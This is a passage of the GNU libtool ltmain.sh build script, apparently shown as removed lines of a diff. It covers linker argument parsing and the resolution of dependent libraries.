- # If the PIC object exists, use it instead.
- # $xdir was prepended to $pic_object above.
- non_pic_object="$pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- else
- # Only an error if not doing a dry-run.
- if test -z "$run"; then
- $echo "$modename: \`$arg' is not a valid libtool object" 1>&2
- exit $EXIT_FAILURE
- else
- # Dry-run case.
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"`
- non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"`
- libobjs="$libobjs $pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- fi
- done
- else
- $echo "$modename: link input file \`$save_arg' does not exist"
- exit $EXIT_FAILURE
- fi
- arg=$save_arg
- prev=
- continue
- ;;
- rpath | xrpath)
- # We need an absolute path.
- case $arg in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- $echo "$modename: only absolute run-paths are allowed" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- if test "$prev" = rpath; then
- case "$rpath " in
- *" $arg "*) ;;
- *) rpath="$rpath $arg" ;;
- esac
- else
- case "$xrpath " in
- *" $arg "*) ;;
- *) xrpath="$xrpath $arg" ;;
- esac
- fi
- prev=
- continue
- ;;
- xcompiler)
- compiler_flags="$compiler_flags $qarg"
- prev=
- compile_command="$compile_command $qarg"
- finalize_command="$finalize_command $qarg"
- continue
- ;;
- xlinker)
- linker_flags="$linker_flags $qarg"
- compiler_flags="$compiler_flags $wl$qarg"
- prev=
- compile_command="$compile_command $wl$qarg"
- finalize_command="$finalize_command $wl$qarg"
- continue
- ;;
- xcclinker)
- linker_flags="$linker_flags $qarg"
- compiler_flags="$compiler_flags $qarg"
- prev=
- compile_command="$compile_command $qarg"
- finalize_command="$finalize_command $qarg"
- continue
- ;;
- shrext)
- shrext_cmds="$arg"
- prev=
- continue
- ;;
- darwin_framework|darwin_framework_skip)
- test "$prev" = "darwin_framework" && compiler_flags="$compiler_flags $arg"
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- prev=
- continue
- ;;
- *)
- eval "$prev=\"\$arg\""
- prev=
- continue
- ;;
- esac
- fi # test -n "$prev"
-
- prevarg="$arg"
-
- case $arg in
- -all-static)
- if test -n "$link_static_flag"; then
- compile_command="$compile_command $link_static_flag"
- finalize_command="$finalize_command $link_static_flag"
- fi
- continue
- ;;
-
- -allow-undefined)
- # FIXME: remove this flag sometime in the future.
- $echo "$modename: \`-allow-undefined' is deprecated because it is the default" 1>&2
- continue
- ;;
-
- -avoid-version)
- avoid_version=yes
- continue
- ;;
-
- -dlopen)
- prev=dlfiles
- continue
- ;;
-
- -dlpreopen)
- prev=dlprefiles
- continue
- ;;
-
- -export-dynamic)
- export_dynamic=yes
- continue
- ;;
-
- -export-symbols | -export-symbols-regex)
- if test -n "$export_symbols" || test -n "$export_symbols_regex"; then
- $echo "$modename: more than one -exported-symbols argument is not allowed"
- exit $EXIT_FAILURE
- fi
- if test "X$arg" = "X-export-symbols"; then
- prev=expsyms
- else
- prev=expsyms_regex
- fi
- continue
- ;;
-
- -framework|-arch|-isysroot)
- case " $CC " in
- *" ${arg} ${1} "* | *" ${arg} ${1} "*)
- prev=darwin_framework_skip ;;
- *) compiler_flags="$compiler_flags $arg"
- prev=darwin_framework ;;
- esac
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- continue
- ;;
-
- -inst-prefix-dir)
- prev=inst_prefix
- continue
- ;;
-
- # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:*
- # so, if we see these flags be careful not to treat them like -L
- -L[A-Z][A-Z]*:*)
- case $with_gcc/$host in
- no/*-*-irix* | /*-*-irix*)
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- ;;
- esac
- continue
- ;;
-
- -L*)
- dir=`$echo "X$arg" | $Xsed -e 's/^-L//'`
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- absdir=`cd "$dir" && pwd`
- if test -z "$absdir"; then
- $echo "$modename: cannot determine absolute directory name of \`$dir'" 1>&2
- absdir="$dir"
- notinst_path="$notinst_path $dir"
- fi
- dir="$absdir"
- ;;
- esac
- case "$deplibs " in
- *" -L$dir "*) ;;
- *)
- deplibs="$deplibs -L$dir"
- lib_search_path="$lib_search_path $dir"
- ;;
- esac
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- testbindir=`$echo "X$dir" | $Xsed -e 's*/lib$*/bin*'`
- case :$dllsearchpath: in
- *":$dir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$dir";;
- esac
- case :$dllsearchpath: in
- *":$testbindir:"*) ;;
- *) dllsearchpath="$dllsearchpath:$testbindir";;
- esac
- ;;
- esac
- continue
- ;;
-
- -l*)
- if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos*)
- # These systems don't actually have a C or math library (as such)
- continue
- ;;
- *-*-os2*)
- # These systems don't actually have a C library (as such)
- test "X$arg" = "X-lc" && continue
- ;;
- *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
- # Do not include libc due to us having libc/libc_r.
- test "X$arg" = "X-lc" && continue
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C and math libraries are in the System framework
- deplibs="$deplibs -framework System"
- continue
- ;;
- *-*-sco3.2v5* | *-*-sco5v6*)
- # Causes problems with __ctype
- test "X$arg" = "X-lc" && continue
- ;;
- *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*)
- # Compiler inserts libc in the correct place for threads to work
- test "X$arg" = "X-lc" && continue
- ;;
- esac
- elif test "X$arg" = "X-lc_r"; then
- case $host in
- *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
- # Do not include libc_r directly, use -pthread flag.
- continue
- ;;
- esac
- fi
- deplibs="$deplibs $arg"
- continue
- ;;
-
- # Tru64 UNIX uses -model [arg] to determine the layout of C++
- # classes, name mangling, and exception handling.
- -model)
- compile_command="$compile_command $arg"
- compiler_flags="$compiler_flags $arg"
- finalize_command="$finalize_command $arg"
- prev=xcompiler
- continue
- ;;
-
- -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe)
- compiler_flags="$compiler_flags $arg"
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- continue
- ;;
-
- -module)
- module=yes
- continue
- ;;
-
- # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
- # -r[0-9][0-9]* specifies the processor on the SGI compiler
- # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
- # +DA*, +DD* enable 64-bit mode on the HP compiler
- # -q* pass through compiler args for the IBM compiler
- # -m* pass through architecture-specific compiler args for GCC
- # -m*, -t[45]*, -txscale* pass through architecture-specific
- # compiler args for GCC
- # -pg pass through profiling flag for GCC
- # @file GCC response files
- -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*|-pg| \
- -t[45]*|-txscale*|@*)
-
- # Unknown arguments in both finalize_command and compile_command need
- # to be aesthetically quoted because they are evaled later.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- compiler_flags="$compiler_flags $arg"
- continue
- ;;
-
- -shrext)
- prev=shrext
- continue
- ;;
-
- -no-fast-install)
- fast_install=no
- continue
- ;;
-
- -no-install)
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
- # The PATH hackery in wrapper scripts is required on Windows
- # in order for the loader to find any dlls it needs.
- $echo "$modename: warning: \`-no-install' is ignored for $host" 1>&2
- $echo "$modename: warning: assuming \`-no-fast-install' instead" 1>&2
- fast_install=no
- ;;
- *) no_install=yes ;;
- esac
- continue
- ;;
-
- -no-undefined)
- allow_undefined=no
- continue
- ;;
-
- -objectlist)
- prev=objectlist
- continue
- ;;
-
- -o) prev=output ;;
-
- -precious-files-regex)
- prev=precious_regex
- continue
- ;;
-
- -release)
- prev=release
- continue
- ;;
-
- -rpath)
- prev=rpath
- continue
- ;;
-
- -R)
- prev=xrpath
- continue
- ;;
-
- -R*)
- dir=`$echo "X$arg" | $Xsed -e 's/^-R//'`
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- $echo "$modename: only absolute run-paths are allowed" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- case "$xrpath " in
- *" $dir "*) ;;
- *) xrpath="$xrpath $dir" ;;
- esac
- continue
- ;;
-
- -static)
- # The effects of -static are defined in a previous loop.
- # We used to do the same as -all-static on platforms that
- # didn't have a PIC flag, but the assumption that the effects
- # would be equivalent was wrong. It would break on at least
- # Digital Unix and AIX.
- continue
- ;;
-
- -thread-safe)
- thread_safe=yes
- continue
- ;;
-
- -version-info)
- prev=vinfo
- continue
- ;;
- -version-number)
- prev=vinfo
- vinfo_number=yes
- continue
- ;;
-
- -Wc,*)
- args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wc,//'`
- arg=
- save_ifs="$IFS"; IFS=','
- for flag in $args; do
- IFS="$save_ifs"
- case $flag in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- flag="\"$flag\""
- ;;
- esac
- arg="$arg $wl$flag"
- compiler_flags="$compiler_flags $flag"
- done
- IFS="$save_ifs"
- arg=`$echo "X$arg" | $Xsed -e "s/^ //"`
- ;;
-
- -Wl,*)
- args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wl,//'`
- arg=
- save_ifs="$IFS"; IFS=','
- for flag in $args; do
- IFS="$save_ifs"
- case $flag in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- flag="\"$flag\""
- ;;
- esac
- arg="$arg $wl$flag"
- compiler_flags="$compiler_flags $wl$flag"
- linker_flags="$linker_flags $flag"
- done
- IFS="$save_ifs"
- arg=`$echo "X$arg" | $Xsed -e "s/^ //"`
- ;;
-
- -Xcompiler)
- prev=xcompiler
- continue
- ;;
-
- -Xlinker)
- prev=xlinker
- continue
- ;;
-
- -XCClinker)
- prev=xcclinker
- continue
- ;;
-
- # Some other compiler flag.
- -* | +*)
- # Unknown arguments in both finalize_command and compile_command need
- # to be aesthetically quoted because they are evaled later.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- ;;
-
- *.$objext)
- # A standard object.
- objs="$objs $arg"
- ;;
-
- *.lo)
- # A libtool-controlled object.
-
- # Check to see that this really is a libtool object.
- if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- pic_object=
- non_pic_object=
-
- # Read the .lo file
- # If there is no directory component, then add one.
- case $arg in
- */* | *\\*) . $arg ;;
- *) . ./$arg ;;
- esac
-
- if test -z "$pic_object" || \
- test -z "$non_pic_object" ||
- test "$pic_object" = none && \
- test "$non_pic_object" = none; then
- $echo "$modename: cannot find name of object for \`$arg'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- if test "$pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- pic_object="$xdir$pic_object"
-
- if test "$prev" = dlfiles; then
- if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
- dlfiles="$dlfiles $pic_object"
- prev=
- continue
- else
- # If libtool objects are unsupported, then we need to preload.
- prev=dlprefiles
- fi
- fi
-
- # CHECK ME: I think I busted this. -Ossama
- if test "$prev" = dlprefiles; then
- # Preload the old-style object.
- dlprefiles="$dlprefiles $pic_object"
- prev=
- fi
-
- # A PIC object.
- libobjs="$libobjs $pic_object"
- arg="$pic_object"
- fi
-
- # Non-PIC object.
- if test "$non_pic_object" != none; then
- # Prepend the subdirectory the object is found in.
- non_pic_object="$xdir$non_pic_object"
-
- # A standard non-PIC object
- non_pic_objects="$non_pic_objects $non_pic_object"
- if test -z "$pic_object" || test "$pic_object" = none ; then
- arg="$non_pic_object"
- fi
- else
- # If the PIC object exists, use it instead.
- # $xdir was prepended to $pic_object above.
- non_pic_object="$pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- else
- # Only an error if not doing a dry-run.
- if test -z "$run"; then
- $echo "$modename: \`$arg' is not a valid libtool object" 1>&2
- exit $EXIT_FAILURE
- else
- # Dry-run case.
-
- # Extract subdirectory from the argument.
- xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$xdir" = "X$arg"; then
- xdir=
- else
- xdir="$xdir/"
- fi
-
- pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"`
- non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"`
- libobjs="$libobjs $pic_object"
- non_pic_objects="$non_pic_objects $non_pic_object"
- fi
- fi
- ;;
-
- *.$libext)
- # An archive.
- deplibs="$deplibs $arg"
- old_deplibs="$old_deplibs $arg"
- continue
- ;;
-
- *.la)
- # A libtool-controlled library.
-
- if test "$prev" = dlfiles; then
- # This library was specified with -dlopen.
- dlfiles="$dlfiles $arg"
- prev=
- elif test "$prev" = dlprefiles; then
- # The library was specified with -dlpreopen.
- dlprefiles="$dlprefiles $arg"
- prev=
- else
- deplibs="$deplibs $arg"
- fi
- continue
- ;;
-
- # Some other compiler argument.
- *)
- # Unknown arguments in both finalize_command and compile_command need
- # to be aesthetically quoted because they are evaled later.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- ;;
- esac # arg
-
- # Now actually substitute the argument into the commands.
- if test -n "$arg"; then
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- fi
- done # argument parsing loop
-
- if test -n "$prev"; then
- $echo "$modename: the \`$prevarg' option requires an argument" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
- eval arg=\"$export_dynamic_flag_spec\"
- compile_command="$compile_command $arg"
- finalize_command="$finalize_command $arg"
- fi
-
- oldlibs=
- # calculate the name of the file, without its directory
- outputname=`$echo "X$output" | $Xsed -e 's%^.*/%%'`
- libobjs_save="$libobjs"
-
- if test -n "$shlibpath_var"; then
- # get the directories listed in $shlibpath_var
- eval shlib_search_path=\`\$echo \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\`
- else
- shlib_search_path=
- fi
- eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
- eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
-
- output_objdir=`$echo "X$output" | $Xsed -e 's%/[^/]*$%%'`
- if test "X$output_objdir" = "X$output"; then
- output_objdir="$objdir"
- else
- output_objdir="$output_objdir/$objdir"
- fi
- # Create the object directory.
- if test ! -d "$output_objdir"; then
- $show "$mkdir $output_objdir"
- $run $mkdir $output_objdir
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "$output_objdir"; then
- exit $exit_status
- fi
- fi
-
- # Determine the type of output
- case $output in
- "")
- $echo "$modename: you must specify an output file" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
- *.$libext) linkmode=oldlib ;;
- *.lo | *.$objext) linkmode=obj ;;
- *.la) linkmode=lib ;;
- *) linkmode=prog ;; # Anything else should be a program.
- esac
-
- case $host in
- *cygwin* | *mingw* | *pw32*)
- # don't eliminate duplications in $postdeps and $predeps
- duplicate_compiler_generated_deps=yes
- ;;
- *)
- duplicate_compiler_generated_deps=$duplicate_deps
- ;;
- esac
- specialdeplibs=
-
- libs=
- # Find all interdependent deplibs by searching for libraries
- # that are linked more than once (e.g. -la -lb -la)
- for deplib in $deplibs; do
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- libs="$libs $deplib"
- done
-
- if test "$linkmode" = lib; then
- libs="$predeps $libs $compiler_lib_search_path $postdeps"
-
- # Compute libraries that are listed more than once in $predeps
- # $postdeps and mark them as special (i.e., whose duplicates are
- # not to be eliminated).
- pre_post_deps=
- if test "X$duplicate_compiler_generated_deps" = "Xyes" ; then
- for pre_post_dep in $predeps $postdeps; do
- case "$pre_post_deps " in
- *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
- esac
- pre_post_deps="$pre_post_deps $pre_post_dep"
- done
- fi
- pre_post_deps=
- fi
-
- deplibs=
- newdependency_libs=
- newlib_search_path=
- need_relink=no # whether we're linking any uninstalled libtool libraries
- notinst_deplibs= # not-installed libtool libraries
- case $linkmode in
- lib)
- passes="conv link"
- for file in $dlfiles $dlprefiles; do
- case $file in
- *.la) ;;
- *)
- $echo "$modename: libraries can \`-dlopen' only libtool libraries: $file" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- done
- ;;
- prog)
- compile_deplibs=
- finalize_deplibs=
- alldeplibs=no
- newdlfiles=
- newdlprefiles=
- passes="conv scan dlopen dlpreopen link"
- ;;
- *) passes="conv"
- ;;
- esac
- for pass in $passes; do
- if test "$linkmode,$pass" = "lib,link" ||
- test "$linkmode,$pass" = "prog,scan"; then
- libs="$deplibs"
- deplibs=
- fi
- if test "$linkmode" = prog; then
- case $pass in
- dlopen) libs="$dlfiles" ;;
- dlpreopen) libs="$dlprefiles" ;;
- link) libs="$deplibs %DEPLIBS% $dependency_libs" ;;
- esac
- fi
- if test "$pass" = dlopen; then
- # Collect dlpreopened libraries
- save_deplibs="$deplibs"
- deplibs=
- fi
- for deplib in $libs; do
- lib=
- found=no
- case $deplib in
- -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe)
- if test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- compiler_flags="$compiler_flags $deplib"
- fi
- continue
- ;;
- -l*)
- if test "$linkmode" != lib && test "$linkmode" != prog; then
- $echo "$modename: warning: \`-l' is ignored for archives/objects" 1>&2
- continue
- fi
- name=`$echo "X$deplib" | $Xsed -e 's/^-l//'`
- for searchdir in $newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path; do
- for search_ext in .la $std_shrext .so .a; do
- # Search the libtool library
- lib="$searchdir/lib${name}${search_ext}"
- if test -f "$lib"; then
- if test "$search_ext" = ".la"; then
- found=yes
- else
- found=no
- fi
- break 2
- fi
- done
- done
- if test "$found" != yes; then
- # deplib doesn't seem to be a libtool library
- if test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- deplibs="$deplib $deplibs"
- test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs"
- fi
- continue
- else # deplib is a libtool library
- # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib,
- # We need to do some special things here, and not later.
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $deplib "*)
- if (${SED} -e '2q' $lib |
- grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then
- library_names=
- old_library=
- case $lib in
- */* | *\\*) . $lib ;;
- *) . ./$lib ;;
- esac
- for l in $old_library $library_names; do
- ll="$l"
- done
- if test "X$ll" = "X$old_library" ; then # only static version available
- found=no
- ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'`
- test "X$ladir" = "X$lib" && ladir="."
- lib=$ladir/$old_library
- if test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- deplibs="$deplib $deplibs"
- test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs"
- fi
- continue
- fi
- fi
- ;;
- *) ;;
- esac
- fi
- fi
- ;; # -l
- -L*)
- case $linkmode in
- lib)
- deplibs="$deplib $deplibs"
- test "$pass" = conv && continue
- newdependency_libs="$deplib $newdependency_libs"
- newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`
- ;;
- prog)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
- continue
- fi
- if test "$pass" = scan; then
- deplibs="$deplib $deplibs"
- else
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- fi
- newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`
- ;;
- *)
- $echo "$modename: warning: \`-L' is ignored for archives/objects" 1>&2
- ;;
- esac # linkmode
- continue
- ;; # -L
- -R*)
- if test "$pass" = link; then
- dir=`$echo "X$deplib" | $Xsed -e 's/^-R//'`
- # Make sure the xrpath contains only unique directories.
- case "$xrpath " in
- *" $dir "*) ;;
- *) xrpath="$xrpath $dir" ;;
- esac
- fi
- deplibs="$deplib $deplibs"
- continue
- ;;
- *.la) lib="$deplib" ;;
- *.$libext)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
- continue
- fi
- case $linkmode in
- lib)
- valid_a_lib=no
- case $deplibs_check_method in
- match_pattern*)
- set dummy $deplibs_check_method
- match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"`
- if eval $echo \"$deplib\" 2>/dev/null \
- | $SED 10q \
- | $EGREP "$match_pattern_regex" > /dev/null; then
- valid_a_lib=yes
- fi
- ;;
- pass_all)
- valid_a_lib=yes
- ;;
- esac
- if test "$valid_a_lib" != yes; then
- $echo
- $echo "*** Warning: Trying to link with static lib archive $deplib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have"
- $echo "*** because the file extensions .$libext of this argument makes me believe"
- $echo "*** that it is just a static archive that I should not used here."
- else
- $echo
- $echo "*** Warning: Linking the shared library $output against the"
- $echo "*** static library $deplib is not portable!"
- deplibs="$deplib $deplibs"
- fi
- continue
- ;;
- prog)
- if test "$pass" != link; then
- deplibs="$deplib $deplibs"
- else
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- fi
- continue
- ;;
- esac # linkmode
- ;; # *.$libext
- *.lo | *.$objext)
- if test "$pass" = conv; then
- deplibs="$deplib $deplibs"
- elif test "$linkmode" = prog; then
- if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
- # If there is no dlopen support or we're linking statically,
- # we need to preload.
- newdlprefiles="$newdlprefiles $deplib"
- compile_deplibs="$deplib $compile_deplibs"
- finalize_deplibs="$deplib $finalize_deplibs"
- else
- newdlfiles="$newdlfiles $deplib"
- fi
- fi
- continue
- ;;
- %DEPLIBS%)
- alldeplibs=yes
- continue
- ;;
- esac # case $deplib
- if test "$found" = yes || test -f "$lib"; then :
- else
- $echo "$modename: cannot find the library \`$lib' or unhandled argument \`$deplib'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Check to see that this really is a libtool archive.
- if (${SED} -e '2q' $lib | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then :
- else
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
-
- ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'`
- test "X$ladir" = "X$lib" && ladir="."
-
- dlname=
- dlopen=
- dlpreopen=
- libdir=
- library_names=
- old_library=
- # If the library was installed with an old release of libtool,
- # it will not redefine variables installed, or shouldnotlink
- installed=yes
- shouldnotlink=no
- avoidtemprpath=
-
-
- # Read the .la file
- case $lib in
- */* | *\\*) . $lib ;;
- *) . ./$lib ;;
- esac
-
- if test "$linkmode,$pass" = "lib,link" ||
- test "$linkmode,$pass" = "prog,scan" ||
- { test "$linkmode" != prog && test "$linkmode" != lib; }; then
- test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
- test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
- fi
-
- if test "$pass" = conv; then
- # Only check for convenience libraries
- deplibs="$lib $deplibs"
- if test -z "$libdir"; then
- if test -z "$old_library"; then
- $echo "$modename: cannot find name of link library for \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
- # It is a libtool convenience library, so add in its objects.
- convenience="$convenience $ladir/$objdir/$old_library"
- old_convenience="$old_convenience $ladir/$objdir/$old_library"
- tmp_libs=
- for deplib in $dependency_libs; do
- deplibs="$deplib $deplibs"
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$tmp_libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- tmp_libs="$tmp_libs $deplib"
- done
- elif test "$linkmode" != prog && test "$linkmode" != lib; then
- $echo "$modename: \`$lib' is not a convenience library" 1>&2
- exit $EXIT_FAILURE
- fi
- continue
- fi # $pass = conv
-
-
- # Get the name of the library we link against.
- linklib=
- for l in $old_library $library_names; do
- linklib="$l"
- done
- if test -z "$linklib"; then
- $echo "$modename: cannot find name of link library for \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # This library was specified with -dlopen.
- if test "$pass" = dlopen; then
- if test -z "$libdir"; then
- $echo "$modename: cannot -dlopen a convenience library: \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
- if test -z "$dlname" ||
- test "$dlopen_support" != yes ||
- test "$build_libtool_libs" = no; then
- # If there is no dlname, no dlopen support or we're linking
- # statically, we need to preload. We also need to preload any
- # dependent libraries so libltdl's deplib preloader doesn't
- # bomb out in the load deplibs phase.
- dlprefiles="$dlprefiles $lib $dependency_libs"
- else
- newdlfiles="$newdlfiles $lib"
- fi
- continue
- fi # $pass = dlopen
-
- # We need an absolute path.
- case $ladir in
- [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;;
- *)
- abs_ladir=`cd "$ladir" && pwd`
- if test -z "$abs_ladir"; then
- $echo "$modename: warning: cannot determine absolute directory name of \`$ladir'" 1>&2
- $echo "$modename: passing it literally to the linker, although it might fail" 1>&2
- abs_ladir="$ladir"
- fi
- ;;
- esac
- laname=`$echo "X$lib" | $Xsed -e 's%^.*/%%'`
-
- # Find the relevant object directory and library name.
- if test "X$installed" = Xyes; then
- if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
- $echo "$modename: warning: library \`$lib' was moved." 1>&2
- dir="$ladir"
- absdir="$abs_ladir"
- libdir="$abs_ladir"
- else
- dir="$libdir"
- absdir="$libdir"
- fi
- test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
- else
- if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then
- dir="$ladir"
- absdir="$abs_ladir"
- # Remove this search path later
- notinst_path="$notinst_path $abs_ladir"
- else
- dir="$ladir/$objdir"
- absdir="$abs_ladir/$objdir"
- # Remove this search path later
- notinst_path="$notinst_path $abs_ladir"
- fi
- fi # $installed = yes
- name=`$echo "X$laname" | $Xsed -e 's/\.la$//' -e 's/^lib//'`
-
- # This library was specified with -dlpreopen.
- if test "$pass" = dlpreopen; then
- if test -z "$libdir"; then
- $echo "$modename: cannot -dlpreopen a convenience library: \`$lib'" 1>&2
- exit $EXIT_FAILURE
- fi
- # Prefer using a static library (so that no silly _DYNAMIC symbols
- # are required to link).
- if test -n "$old_library"; then
- newdlprefiles="$newdlprefiles $dir/$old_library"
- # Otherwise, use the dlname, so that lt_dlopen finds it.
- elif test -n "$dlname"; then
- newdlprefiles="$newdlprefiles $dir/$dlname"
- else
- newdlprefiles="$newdlprefiles $dir/$linklib"
- fi
- fi # $pass = dlpreopen
-
- if test -z "$libdir"; then
- # Link the convenience library
- if test "$linkmode" = lib; then
- deplibs="$dir/$old_library $deplibs"
- elif test "$linkmode,$pass" = "prog,link"; then
- compile_deplibs="$dir/$old_library $compile_deplibs"
- finalize_deplibs="$dir/$old_library $finalize_deplibs"
- else
- deplibs="$lib $deplibs" # used for prog,scan pass
- fi
- continue
- fi
-
-
- if test "$linkmode" = prog && test "$pass" != link; then
- newlib_search_path="$newlib_search_path $ladir"
- deplibs="$lib $deplibs"
-
- linkalldeplibs=no
- if test "$link_all_deplibs" != no || test -z "$library_names" ||
- test "$build_libtool_libs" = no; then
- linkalldeplibs=yes
- fi
-
- tmp_libs=
- for deplib in $dependency_libs; do
- case $deplib in
- -L*) newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`;; ### testsuite: skip nested quoting test
- esac
- # Need to link against all dependency_libs?
- if test "$linkalldeplibs" = yes; then
- deplibs="$deplib $deplibs"
- else
- # Need to hardcode shared library paths
- # or/and link against static libraries
- newdependency_libs="$deplib $newdependency_libs"
- fi
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$tmp_libs " in
